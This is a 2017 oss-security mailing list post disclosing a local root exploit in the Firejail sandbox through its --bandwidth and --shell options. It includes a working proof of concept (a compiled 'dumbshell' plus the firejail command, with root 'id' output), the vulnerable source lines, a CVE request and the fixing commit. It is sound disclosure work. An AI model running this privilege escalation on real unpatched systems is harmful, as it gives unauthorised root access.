|
|
Message-ID: <1483787608.8979.95.camel@juliet.mcarpenter.org>
Date: Sat, 07 Jan 2017 12:13:28 +0100
From: Martin Carpenter <mcarpenter@...e.fr>
To: oss-security@...ts.openwall.com
Subject: Re: Re: Firejail local root exploit
On Thu, 2017-01-05 at 23:37 +0100, Martin Carpenter wrote:
> A handful of concrete examples that I have reported are below.
Another (new) one: MITRE can you please assign a CVE?
6. Root shell via --bandwidth and --shell
Reported at:
https://github.com/netblue30/firejail/issues/1023
Fixed at:
commit 5d43fdcd215203868d440ffc42036f5f5ffc89fc
Author: netblue30 <netblue30@...oo.com>
Date: Fri Jan 6 22:45:11 2017 -0500
security fix
Quoting for list:
----8<----
[Against current HEAD, commit 64355]
In a first window run:
$ firejail --noprofile --name=x --net=eth0
In a second window, firstly create a dumb shell that ignores -c:
$ echo 'int main() {system("/bin/sh");}' | gcc -xc -o dumbshell -
and then secondly invoke that shell via the --shell and --bandwidth
flags to obtain root:
$ firejail --shell=./dumbshell --bandwidth=x status
# id
uid=0(root) gid=0(root)
groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),125(vboxusers),2000(wiki),10000(martin) context=system_u:system_r:initrc_t:s0
Error occurs at
https://github.com/netblue30/firejail/blob/6435525696e8eda2d1bc0ef50488523422b9126d/src/firejail/bandwidth.c#L445-L451
char *arg[4];
arg[0] = cfg.shell;
arg[1] = "-c";
arg[2] = cmd;
arg[3] = NULL;
clearenv();
execvp(arg[0], arg);
I don't see any good reason to permit a user-specified shell to run a
bandwidth command.
----8<----
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.